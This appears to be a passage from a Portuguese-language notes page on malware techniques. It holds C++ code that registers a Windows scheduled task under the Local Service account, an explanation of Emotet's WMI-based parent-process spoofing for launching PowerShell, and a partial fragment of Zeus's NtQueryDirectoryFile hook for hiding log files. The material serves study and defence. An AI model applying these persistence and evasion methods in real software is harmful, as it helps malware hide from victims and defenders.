    //  Add an Action to the task. This task will execute Notepad.exe.     
    IActionCollection *pActionCollection = NULL;

    //  Get the task action collection pointer.
    hr = pTask->get_Actions( &pActionCollection );
    if( FAILED(hr) )
    {
        printf("\nCannot get Task collection pointer: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
        
    //  Create the action, specifying it as an executable action.
    IAction *pAction = NULL;
    hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );
    pActionCollection->Release();
    if( FAILED(hr) )
    {
        printf("\nCannot create the action: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }

    IExecAction *pExecAction = NULL;
    //  QI for the executable task pointer.
    hr = pAction->QueryInterface( 
        IID_IExecAction, (void**) &pExecAction );
    pAction->Release();
    if( FAILED(hr) )
    {
        printf("\nQueryInterface call failed for IExecAction: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }

    //  Set the path of the executable to Notepad.exe.
    hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) ); 
    pExecAction->Release(); 
    if( FAILED(hr) )
    {
        printf("\nCannot set path of executable: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
      
    
    //  ------------------------------------------------------
    //  Save the task in the root folder.
    IRegisteredTask *pRegisteredTask = NULL;
    VARIANT varPassword;
    varPassword.vt = VT_EMPTY;
    hr = pRootFolder->RegisterTaskDefinition(
            _bstr_t( wszTaskName ),
            pTask,
            TASK_CREATE_OR_UPDATE, 
            _variant_t(L"Local Service"), 
            varPassword, 
            TASK_LOGON_SERVICE_ACCOUNT,
            _variant_t(L""),
            &pRegisteredTask);
    if( FAILED(hr) )
    {
        printf("\nError saving the Task : %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
    
    printf("\n Success! Task successfully registered. " );

    //  Clean up.
    pRootFolder->Release();
    pTask->Release();
    pRegisteredTask->Release();
    CoUninitialize();
    return 0;
}

# Malware/Técnicas sofisticadas

## Emotet PPID Spoofing 

Esta técnica foi descoberta no conhecido malware Emotet. Para gerar um novo processo powershell (destinado a executar algum payload), ele usa a API COM com uma instância WMI. Com esse truque, o processo powershell é gerado como um processo filho do processo WMIPrvSE, o que é muito menos suspeito do que ser gerado por um exe suspeito ou até mesmo um arquivo do Word.

## Arquivos Ocultos do Malware Zeus

O conhecido malware Zeus usa um truque bastante engenhoso para ocultar seus logs (teclas pressionadas, senhas, etc.) no sistema comprometido. Ele faz hook da função ```NtQueryDirectoryFile()``` para filtrar os resultados exibidos.```cpp
typedef struct _FILE_NAMES_INFORMATION {
 ULONG NextEntryOffset;
 ULONG FileIndex;
 ULONG FileNameLength;
 WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

 if (file_matches)
 {

 // Check for end of list
 if (pCurrentFileNames->NextEntryOffset == 0)
 {
 // Hide current file
 if (pPrev)
 pPrevFileNames->NextEntryOffset = 0;
 else
 return STATUS_NO_SUCH_FILE;